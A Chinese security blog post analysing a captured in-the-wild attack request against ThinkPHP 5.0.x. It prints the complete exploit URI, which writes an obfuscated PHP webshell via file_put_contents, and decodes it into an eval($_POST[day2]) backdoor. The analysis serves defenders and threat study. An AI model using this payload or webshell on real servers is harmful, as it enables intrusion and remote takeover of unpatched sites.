安全运营 | 记一次公网攻击Payload分析

admin 2024年8月5日18:44:51评论12 views字数 2165阅读7分13秒阅读模式

在情报社区看到一个公网捕获的攻击payload,简单的分析一下

0x00 原始URI请求

安全运营 | 记一次公网攻击Payload分析

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=xxxxxxxxxxxxxx.php&vars[1][1]=<?php%20if($_SERVER[%27REQUEST_METHOD%27]%20==%20%27POST%27){%20$_uU=chr(99).chr(104).chr(114);%20$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(100).$_uU(97).$_uU(121).$_uU(50).$_uU(93).$_uU(41).$_uU(59);%20$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);%20$_=$_fF("",$_cC);%20@$_();%20}else{%20echo%20%27WhySoSerious%27;%20}%20?>

0x01 分析过程
1、首先根据路由判断为ThinkPHP 5.0.x 远程命令执行漏洞,对URI进行URL解码和代码美化,结果如下:

if($_SERVER['REQUEST_METHOD'] == 'POST'){


    $_uU=chr(99).chr(104).chr(114);


    $_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(100).$_uU(97).$_uU(121).$_uU(50).$_uU(93).$_uU(41).$_uU(59);


    $_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);


    $_=$_fF("",$_cC);


    @$_();


}else{


    echo 'WhySoSerious';


}
可以看到是一个if else结构,判断逻辑为:
如果请求是POST方法,则执行上述eval代码。
如果不是POST方法,则输出WhySoSerious。


2、分析恶意代码部分
2.1 通过file_put_contents函数,创建php脚本文件
攻击者尝试利用ThinkPHP 5的漏洞在服务器上创建一个新的PHP文件(文件名为xxxxxxxxxxxxxx.php,这里的文件名可能因实际攻击而异)。

vars[0]=file_put_contents&vars[1][]=xxxxxxxxxxxxxx.php

2.2 利用create_function执行自定义函数

文件中写入的PHP代码允许通过POST请求执行任意PHP代码。如果请求方法为POST,则执行$_中定义的函数(该函数通过字符串拼接和create_function动态创建)。

安全运营 | 记一次公网攻击Payload分析

2.3 匿名函数的创建
使用$_uU=chr(99).chr(104).chr(114);用于获取ASCII值为99, 104, 114的字符,组合成chr),构造了字符串函数chr。
通过$_cC变量,使用$_uU(即chr)函数拼接字符串,最终构造出eval($_POST[day2]);这样的PHP代码。这意味着,如果POST请求中包含名为day2的参数,其内容将被eval函数执行。
$_fF变量用于定义create_function函数,$_变量通过调用$_fF,执行eval语句,通过@$_();执行。
拼接后如下:

@create_function("",eval($_POST[day2]);)();

2.4 匿名函数的作用

尝试创建一个不接受任何参数的匿名函数,这个函数的唯一作用是执行通过 POST 请求发送的 day2 变量的内容。

由于 create_function() 已被移除,这行代码在 PHP 8 或更高版本中不会执行。仅在 PHP 7.2 或更早版本中可以运行执行任意PHP代码。

安全运营 | 记一次公网攻击Payload分析

0x02 分析结论
这段URL请求试图通过调用file_put_contents函数来在服务器上创建一个新的PHP文件(xxxxxxxxxxxxxx.php),并写入一段恶意代码。这段恶意代码的目的是创建一个Webshell,允许攻击者通过POST请求执行任意PHP代码。

原文始发于微信公众号(篝火信安):安全运营 | 记一次公网攻击Payload分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月5日18:44:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   安全运营 | 记一次公网攻击Payload分析https://cn-sec.com/archives/3037872.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息